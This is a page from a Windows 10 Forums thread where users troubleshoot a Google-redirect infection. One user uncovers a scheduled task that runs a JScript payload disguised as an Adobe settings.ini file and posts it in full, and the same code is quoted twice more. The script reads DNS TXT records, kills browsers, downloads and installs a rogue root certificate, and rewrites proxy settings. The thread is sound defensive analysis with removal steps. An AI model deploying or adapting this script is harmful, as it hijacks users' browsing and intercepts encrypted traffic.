Google redirection localhost.world

Page 4 of 12 FirstFirst ... 23456 ... LastLast

  1. Posts : 21
    10 64bit
       #31

    simrick said:
    Whoa! I have never, in all my years cleaning viruses off computers, seen an RKILL log like that!
    Has your computer been running slow at all? It appears as if your entire Windows OS is loaded with reparse junctions that point to nowhere.


    These are nothing - video files from ASUS



    This legitimate dll file has a reparse point to nowhere - that is suspicious, and why I ask if your computer was running slow. Zeroaccess is part of a botnet which either runs clickfraud or bitcoin mining.



    And the list goes on and on for reparse points-thousands of them. Honestly, I've never seen anything like this.



    You've got a major problem with your hosts file.



    I will tell you what I would do at this point: either do a clean install, completely formatting your hard drive, or post for help at Bleeping Computer, to see if they are able to sort things.
    The hosts file additions are mine. Those are all Adobe IPs that I am blocking

    The rest, I'm not sure why RKILL shows all those. The first time I ran Rkill it didn't have any of that. I did post on Bleepingcomputer but no one responded yet. Btw, no my computer runs as fast as ever, no issues at all. -- I just ran Rkill again and it didn't have all that stuff (see attachment). So strange... Just rebooted and ran Rkill again and it's still fine. Maybe it was a fluke?

    Thanks for the help
    Google redirection localhost.world Attached Files
      My Computer

  2. simrick's Avatar
    Posts : 16,108
    W10Prox64
       #32

    mixolyd said:
    The hosts file additions are mine. Those are all Adobe IPs that I am blocking
    Ah, that explains it - I did look up a couple and one said Adobe in CA, another said something in VA...

    mixolyd said:
    The rest, I'm not sure why RKILL shows all those. The first time I ran Rkill it didn't have any of that. I did post on Bleepingcomputer but no one responded yet.
    Yes, be patient with them - they are inundated, but they are top-notch, and will work with someone until everything is completed - they never give up.

    mixolyd said:
    Btw, no my computer runs as fast as ever, no issues at all.
    Great!

    mixolyd said:
    -- I just ran Rkill again and it didn't have all that stuff (see attachment). So strange... Just rebooted and ran Rkill again and it's still fine. Maybe it was a fluke?

    Thanks for the help
    Could be - I know the "missing services" is.
    Your new RKILL log looks much better now.

    Your logs over at BC show:
    GroupPolicyScripts: Restriction <======= ATTENTION
    GroupPolicyScripts\User: Restriction <======= ATTENTION
    CHR HKLM\SOFTWARE\Policies\Google: Restriction <======= ATTENTION
    HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <======= ATTENTION

    This might be the problem, unless you are specifically using Group Policy on your rig.

    EDIT: I would say, now that you've posted there, and have a starting point, I wouldn't do anything else to the computer until they give you some instruction.
      My Computer


  3. Posts : 21
    10 64bit
       #33

    simrick said:
    Ah, that explains it - I did look up a couple and one said Adobe in CA, another said something in VA...


    Yes, be patient with them - they are inundated, but they are top-notch, and will work with someone until everything is completed - they never give up.


    Great!


    Could be - I know the "missing services" is.
    Your new RKILL log looks much better now.

    Your logs over at BC show:
    GroupPolicyScripts: Restriction <======= ATTENTION
    GroupPolicyScripts\User: Restriction <======= ATTENTION
    CHR HKLM\SOFTWARE\Policies\Google: Restriction <======= ATTENTION
    HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <======= ATTENTION

    This might be the problem, unless you are specifically using Group Policy on your rig.

    EDIT: I would say, now that you've posted there, and have a starting point, I wouldn't do anything else to the computer until they give you some instruction.
    Thanks for the help!
      My Computer

  4. simrick's Avatar
    Posts : 16,108
    W10Prox64
       #34

    mixolyd said:
    Thanks for the help!
    No problem - good luck and keep us posted here of how it goes!
      My Computer


  5. Posts : 21
    10 64bit
       #35

    If anyone here has problems from this annoying virus like I did with Chrome closing, post on Bleepingcomputer and they will help you out. I haven't had the problem for about 4 days now so I'm guessing it's gone
      My Computer


  6. Posts : 5
    Windows 8.1
       #36

    Hey. I've been struggling with this problem for a while, and I think I just solved it. However, I assure that this malware was undetected by all the many tools I scanned my PC with, so it may require some review by, I don't know, the guys who write those tools.

    Here we go: I noticed that Chrome getting closed and that cmd window that flashed happened always at 18:00, so searched in the task scheduler. Bingo:

    Google redirection localhost.world-56011f2df029b4f4b417fec7d7f11bbf.png
    (the first one, sorry for it being in Spanish)

    The action for that task is the following:
    Code:
    C:\Windows\system32\wscript.exe //nologo //B //E:jscript "C:\Users\[me]\AppData\Roaming\Adobe Acrobat Pro DC\settings.ini"
    Looking at that ini file, it was indeed a JS file badly disguised as INI. Stripped of all the comments, this are its contents:
    Code:
    var ns, no, re, rs, st, reg, pac;var ws = new ActiveXObject("Wscript.Shell");
    var bs = new ActiveXObject("ADODB.Stream");
    var xh = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
    var tmp = ws.ExpandEnvironmentStrings("%TEMP%");
    try {
      ns = ws.Exec("nslookup -type=txt remotesettings1.mtmyoq.se");
      no = ns.StdOut.ReadAll();
      re = new RegExp('"(.*?)"');
      rs = re.exec(no);
      st = rs[1].split("|");
      pac = st[0];
      cer = st[1];
      try {
        reg = ws.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL");
      } catch (e) {
      }
      if (reg != pac) {
        ws.Run("taskkill /f /im iexplore.exe", 0, false);
        ws.Run("taskkill /f /im chrome.exe", 0, false);
        try {
          xh.Open("GET", cer, false);
          xh.Send();
          bs.Type = 1;
          bs.Open();
          bs.Write(xh.ResponseBody);
          bs.SaveToFile(tmp + "\\cert.cer", 2);
          ws.Run("certutil -addstore -f -enterprise -user root " + tmp + "\\cert.cer", 0, false);
          ws.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL", pac, "REG_SZ");
          ws.RegWrite("HKEY_CURRENT_USER\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL", pac, "REG_SZ");
          ws.RegWrite("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\EnableAutoProxyResultCache", 0, "REG_DWORD");
        } catch (e$0) {
        }
      }
    } catch (e$1) {
    }
    ;
    Pretty much the behavior we are seeing.

    I can see that it also installs a certificate, probably to make work that fake google through https without raising errors. I can't tell much about the certificate since I am not very well up on the subject. What I can tell is that it was created by Fiddler free web debugging proxy
    , and that it shows on my installed certs as this:

    Google redirection localhost.world-donottrust.png
    Well yeah, do not trust.

    Interestingly, there are several domains involved in the malware. The first one, localhost.world from where that smelly proxy settings are pulled from, and mtmyoq.se. This last one, when visited, contains a long string that, when base64 decoded, looks like this:
    Code:
    <Settings>
        <Setting>
            <ida>1122843206</ida>
            <UpdateVer>6.1.7600.20003</UpdateVer>
            <UpdateUrl></UpdateUrl>
            <UpdateType>2</UpdateType>
            <PacUrl>http://searchly.org/router.pac</PacUrl>
            <PacFile>ZnVuY3Rpb24gRmluZFByb3h5Rm9yVVJMKHVybCwgaG9zdCkgeyBpZiAoc2hFeHBNYXRjaChob3N0LCAid3d3Lmdvb2dsZS4qIikpIHJldHVybiAiUFJPWFkgMTI3LjAuMC4xOjgwODAiOyAgcmV0dXJuICJESVJFQ1QiO30=</PacFile>
            <OneIn>1</OneIn>
            <RewriteFrom></RewriteFrom>
            <RewriteTo></RewriteTo>
            <DisableRewrite>0</DisableRewrite>
            <Ping>1</Ping>
            <RedirectType>0</RedirectType>
            <Accounts>
                <Account>
                    <RefUrl>http://www.digital4k.net/search.php?action=results&amp;sid=</RefUrl>
                    <CX>009793234822822480237:wabrdd_t6e8</CX>
                </Account>    
            </Accounts>
        </Setting>
    </Settings>
    I couldn't tell what that part is but it involves more domains. What is clear is that this is obviously malware, probably an attemp of phising. And none of those domains or IPs are blocked by my security software (ESET Smart Security) or seem to be blacklisted anywhere. This is not ok.

    Oh I almost forgot. To get rid of it, just delete the task, the .ini file, all the "DO_NOT_TRUST" certificates and revert the registry changes made. Ensure that there is not any proxy set.
      My Computer

  7. simrick's Avatar
    Posts : 16,108
    W10Prox64
       #37

    mixolyd said:
    If anyone here has problems from this annoying virus like I did with Chrome closing, post on Bleepingcomputer and they will help you out. I haven't had the problem for about 4 days now so I'm guessing it's gone
    Glad to hear it!
      My Computer

  8. simrick's Avatar
    Posts : 16,108
    W10Prox64
       #38

    moraleja39 said:
    Hey. I've been struggling with this problem for a while, and I think I just solved it. However, I assure that this malware was undetected by all the many tools I scanned my PC with, so it may require some review by, I don't know, the guys who write those tools.

    Here we go: I noticed that Chrome getting closed and that cmd window that flashed happened always at 18:00, so searched in the task scheduler. Bingo:

    Google redirection localhost.world-56011f2df029b4f4b417fec7d7f11bbf.png
    (the first one, sorry for it being in Spanish)

    The action for that task is the following:
    Code:
    C:\Windows\system32\wscript.exe //nologo //B //E:jscript "C:\Users\[me]\AppData\Roaming\Adobe Acrobat Pro DC\settings.ini"
    Looking at that ini file, it was indeed a JS file badly disguised as INI. Stripped of all the comments, this are its contents:
    Code:
    var ns, no, re, rs, st, reg, pac;var ws = new ActiveXObject("Wscript.Shell");
    var bs = new ActiveXObject("ADODB.Stream");
    var xh = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
    var tmp = ws.ExpandEnvironmentStrings("%TEMP%");
    try {
      ns = ws.Exec("nslookup -type=txt remotesettings1.mtmyoq.se");
      no = ns.StdOut.ReadAll();
      re = new RegExp('"(.*?)"');
      rs = re.exec(no);
      st = rs[1].split("|");
      pac = st[0];
      cer = st[1];
      try {
        reg = ws.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL");
      } catch (e) {
      }
      if (reg != pac) {
        ws.Run("taskkill /f /im iexplore.exe", 0, false);
        ws.Run("taskkill /f /im chrome.exe", 0, false);
        try {
          xh.Open("GET", cer, false);
          xh.Send();
          bs.Type = 1;
          bs.Open();
          bs.Write(xh.ResponseBody);
          bs.SaveToFile(tmp + "\\cert.cer", 2);
          ws.Run("certutil -addstore -f -enterprise -user root " + tmp + "\\cert.cer", 0, false);
          ws.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL", pac, "REG_SZ");
          ws.RegWrite("HKEY_CURRENT_USER\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL", pac, "REG_SZ");
          ws.RegWrite("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\EnableAutoProxyResultCache", 0, "REG_DWORD");
        } catch (e$0) {
        }
      }
    } catch (e$1) {
    }
    ;
    Pretty much the behavior we are seeing.

    I can see that it also installs a certificate, probably to make work that fake google through https without raising errors. I can't tell much about the certificate since I am not very well up on the subject. What I can tell is that it was created by Fiddler free web debugging proxy
    , and that it shows on my installed certs as this:

    Google redirection localhost.world-donottrust.png
    Well yeah, do not trust.

    Interestingly, there are several domains involved in the malware. The first one, localhost.world from where that smelly proxy settings are pulled from, and mtmyoq.se. This last one, when visited, contains a long string that, when base64 decoded, looks like this:
    Code:
    <Settings>
        <Setting>
            <ida>1122843206</ida>
            <UpdateVer>6.1.7600.20003</UpdateVer>
            <UpdateUrl></UpdateUrl>
            <UpdateType>2</UpdateType>
            <PacUrl>http://searchly.org/router.pac</PacUrl>
            <PacFile>ZnVuY3Rpb24gRmluZFByb3h5Rm9yVVJMKHVybCwgaG9zdCkgeyBpZiAoc2hFeHBNYXRjaChob3N0LCAid3d3Lmdvb2dsZS4qIikpIHJldHVybiAiUFJPWFkgMTI3LjAuMC4xOjgwODAiOyAgcmV0dXJuICJESVJFQ1QiO30=</PacFile>
            <OneIn>1</OneIn>
            <RewriteFrom></RewriteFrom>
            <RewriteTo></RewriteTo>
            <DisableRewrite>0</DisableRewrite>
            <Ping>1</Ping>
            <RedirectType>0</RedirectType>
            <Accounts>
                <Account>
                    <RefUrl>http://www.digital4k.net/search.php?action=results&amp;sid=</RefUrl>
                    <CX>009793234822822480237:wabrdd_t6e8</CX>
                </Account>    
            </Accounts>
        </Setting>
    </Settings>
    I couldn't tell what that part is but it involves more domains. What is clear is that this is obviously malware, probably an attemp of phising. And none of those domains or IPs are blocked by my security software (ESET Smart Security) or seem to be blacklisted anywhere. This is not ok.

    Oh I almost forgot. To get rid of it, just delete the task, the .ini file, all the "DO_NOT_TRUST" certificates and revert the registry changes made. Ensure that there is not any proxy set.
    Wow! That's some detective work!
      My Computer

  9. simrick's Avatar
    Posts : 16,108
    W10Prox64
       #39

    mixolyd said:
    If anyone here has problems from this annoying virus like I did with Chrome closing, post on Bleepingcomputer and they will help you out. I haven't had the problem for about 4 days now so I'm guessing it's gone
    So, are you going to ask him if he thinks you really had a Zeroaccess infection?
      My Computer


  10. Posts : 21
    10 64bit
       #40

    moraleja39 said:
    Hey. I've been struggling with this problem for a while, and I think I just solved it. However, I assure that this malware was undetected by all the many tools I scanned my PC with, so it may require some review by, I don't know, the guys who write those tools.

    Here we go: I noticed that Chrome getting closed and that cmd window that flashed happened always at 18:00, so searched in the task scheduler. Bingo:

    Google redirection localhost.world-56011f2df029b4f4b417fec7d7f11bbf.png
    (the first one, sorry for it being in Spanish)

    The action for that task is the following:
    Code:
    C:\Windows\system32\wscript.exe //nologo //B //E:jscript "C:\Users\[me]\AppData\Roaming\Adobe Acrobat Pro DC\settings.ini"
    Looking at that ini file, it was indeed a JS file badly disguised as INI. Stripped of all the comments, this are its contents:
    Code:
    var ns, no, re, rs, st, reg, pac;var ws = new ActiveXObject("Wscript.Shell");
    var bs = new ActiveXObject("ADODB.Stream");
    var xh = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
    var tmp = ws.ExpandEnvironmentStrings("%TEMP%");
    try {
      ns = ws.Exec("nslookup -type=txt remotesettings1.mtmyoq.se");
      no = ns.StdOut.ReadAll();
      re = new RegExp('"(.*?)"');
      rs = re.exec(no);
      st = rs[1].split("|");
      pac = st[0];
      cer = st[1];
      try {
        reg = ws.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL");
      } catch (e) {
      }
      if (reg != pac) {
        ws.Run("taskkill /f /im iexplore.exe", 0, false);
        ws.Run("taskkill /f /im chrome.exe", 0, false);
        try {
          xh.Open("GET", cer, false);
          xh.Send();
          bs.Type = 1;
          bs.Open();
          bs.Write(xh.ResponseBody);
          bs.SaveToFile(tmp + "\\cert.cer", 2);
          ws.Run("certutil -addstore -f -enterprise -user root " + tmp + "\\cert.cer", 0, false);
          ws.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL", pac, "REG_SZ");
          ws.RegWrite("HKEY_CURRENT_USER\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL", pac, "REG_SZ");
          ws.RegWrite("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\EnableAutoProxyResultCache", 0, "REG_DWORD");
        } catch (e$0) {
        }
      }
    } catch (e$1) {
    }
    ;
    Pretty much the behavior we are seeing.

    I can see that it also installs a certificate, probably to make work that fake google through https without raising errors. I can't tell much about the certificate since I am not very well up on the subject. What I can tell is that it was created by Fiddler free web debugging proxy
    , and that it shows on my installed certs as this:

    Google redirection localhost.world-donottrust.png
    Well yeah, do not trust.

    Interestingly, there are several domains involved in the malware. The first one, localhost.world from where that smelly proxy settings are pulled from, and mtmyoq.se. This last one, when visited, contains a long string that, when base64 decoded, looks like this:
    Code:
    <Settings>
        <Setting>
            <ida>1122843206</ida>
            <UpdateVer>6.1.7600.20003</UpdateVer>
            <UpdateUrl></UpdateUrl>
            <UpdateType>2</UpdateType>
            <PacUrl>http://searchly.org/router.pac</PacUrl>
            <PacFile>ZnVuY3Rpb24gRmluZFByb3h5Rm9yVVJMKHVybCwgaG9zdCkgeyBpZiAoc2hFeHBNYXRjaChob3N0LCAid3d3Lmdvb2dsZS4qIikpIHJldHVybiAiUFJPWFkgMTI3LjAuMC4xOjgwODAiOyAgcmV0dXJuICJESVJFQ1QiO30=</PacFile>
            <OneIn>1</OneIn>
            <RewriteFrom></RewriteFrom>
            <RewriteTo></RewriteTo>
            <DisableRewrite>0</DisableRewrite>
            <Ping>1</Ping>
            <RedirectType>0</RedirectType>
            <Accounts>
                <Account>
                    <RefUrl>http://www.digital4k.net/search.php?action=results&amp;sid=</RefUrl>
                    <CX>009793234822822480237:wabrdd_t6e8</CX>
                </Account>    
            </Accounts>
        </Setting>
    </Settings>
    I couldn't tell what that part is but it involves more domains. What is clear is that this is obviously malware, probably an attemp of phising. And none of those domains or IPs are blocked by my security software (ESET Smart Security) or seem to be blacklisted anywhere. This is not ok.

    Oh I almost forgot. To get rid of it, just delete the task, the .ini file, all the "DO_NOT_TRUST" certificates and revert the registry changes made. Ensure that there is not any proxy set.
    Nevermind my issue was not resolved. Thanks so much for posting this. Looks like I have the same task in my Task Scheduler.
      My Computer


 
Page 4 of 12 FirstFirst ... 23456 ... LastLast

  Related Discussions
Our Sites
Site Links
About Us
Windows 10 Forums is an independent web site and has not been authorized, sponsored, or otherwise approved by Microsoft Corporation. "Windows 10" and related materials are trademarks of Microsoft Corp.

Designer Media Ltd
All times are GMT -5. The time now is 18:54.
Find Us




Windows 10 Forums